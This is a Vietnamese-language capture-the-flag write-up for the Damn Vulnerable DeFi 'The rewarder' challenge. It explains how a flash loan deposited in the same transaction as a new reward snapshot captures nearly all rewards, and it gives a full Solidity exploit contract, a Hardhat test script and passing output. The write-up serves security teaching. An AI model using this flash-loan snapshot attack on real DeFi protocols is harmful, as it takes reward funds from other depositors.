Challenge #5 - The rewarder
Nhiệm vụ: Có một pool cứ mỗi 5 ngày lại trả thưởng một lần cho những ai deposit vào pool DVT. Alice, Bob, Charle và David đã deposit DVT của họ vào trong pool, và bắt đầu nhận được những phần thưởng. Nhưng trong tay ta đang không có đồng DVT nào. Nhưng ta vẫn muốn không làm mà vẫn có ăn, mà không những thế lại còn ăn rất nhiều, ăn gần như hết tất cả phần thưởng. Liệu điều này có khả thi?
Phân tích
Loaner pool cho phép thực hiện flash loan có 1M token DVT trong đó:
function flashLoan(uint256 amount) external nonReentrant {
uint256 balanceBefore = liquidityToken.balanceOf(address(this));
require(amount <= balanceBefore, "Not enough token balance");
require(msg.sender.isContract(), "Borrower must be a deployed contract");
liquidityToken.transfer(msg.sender, amount);
msg.sender.functionCall(
abi.encodeWithSignature(
"receiveFlashLoan(uint256)",
amount
)
);
require(liquidityToken.balanceOf(address(this)) >= balanceBefore, "Flash loan not paid back");
}
Ta sẽ đi qua một chút logic trong Reward pool:
- Mỗi round nhận phần thưởng sẽ có độ dài là 5 ngày
uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days;
- Tại mỗi lần trả thưởng, trước khi distribute reward, pool sẽ kiểm tra xem đây có phải là một round mới hay không? nếu là round mới thì sẽ tiến hành snapshot trước, sau đó mới trả thưởng.
function isNewRewardsRound() public view returns (bool) {
return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION;
}
function _recordSnapshot() private {
lastSnapshotIdForRewards = accToken.snapshot();
lastRecordedSnapshotTimestamp = block.timestamp;
roundNumber++;
}
- Lưu ý rằng phần thưởng sẽ được tính toán dựa trên snapshot từ round gần nhất.
uint256 totalDeposits = accToken.totalSupplyAt(lastSnapshotIdForRewards);
uint256 amountDeposited = accToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);
Do đó ta có chiến lược khai thác như sau:
- round hiện tại (round 2) đã hoàn thành snapshot và distribute rewards, nên ta cần chờ qua round 3 (sử dụng
evm_increaseTime
). - tại round 3, tiến hành flashloan 1 lượng liquidity token đủ lớn, ví dụ 1M token.
- với số liquidity token đang vay được ta tiến hành
deposit
. - do đây là round mới, reward pool sẽ tiến hành tạo snapshot trước, đồng thời trả thưởng ngay sau đó.
- ta sẽ nhận được đa số reward token do ta deposit vào nhiều nhất và áp đảo các đối thủ khác (1M).
- ngay sau đó thì
withdraw
luôn để trả lại liquidity token cho flash loan pool. - chuyển lại reward token cho attacker là xong.
Exploit
Chuẩn bị contract khai thác:
contract RektRewarder {
FlashLoanerPool public immutable loanerPool;
TheRewarderPool public immutable rewarderPool;
DamnValuableToken public immutable liquiToken;
RewardToken public immutable rewardToken;
constructor(
address _loaner,
address _rewarder,
address _liquiToken,
address _rewardToken
) {
loanerPool = FlashLoanerPool(_loaner);
rewarderPool = TheRewarderPool(_rewarder);
liquiToken = DamnValuableToken(_liquiToken);
rewardToken = RewardToken(_rewardToken);
}
function rekt() external {
loanerPool.flashLoan(1000000 ether);
}
function receiveFlashLoan(uint256 amount) external {
liquiToken.approve(address(rewarderPool), type(uint256).max);
rewarderPool.deposit(amount);
rewardToken.transfer(tx.origin, rewardToken.balanceOf(address(this)));
rewarderPool.withdraw(amount);
liquiToken.transfer(address(loanerPool), amount);
}
}
Tiến hành khai thác:
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
const RektRewarder = await ethers.getContractFactory(
"RektRewarder",
attacker
);
this.rekt = await RektRewarder.deploy(
this.flashLoanPool.address,
this.rewarderPool.address,
this.liquidityToken.address,
this.rewardToken.address
);
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
await this.rekt.connect(attacker).rekt();
});
Check lại kết quả
[Challenge] The rewarder
✓ Exploit (144ms)
1 passing (2s)
All done!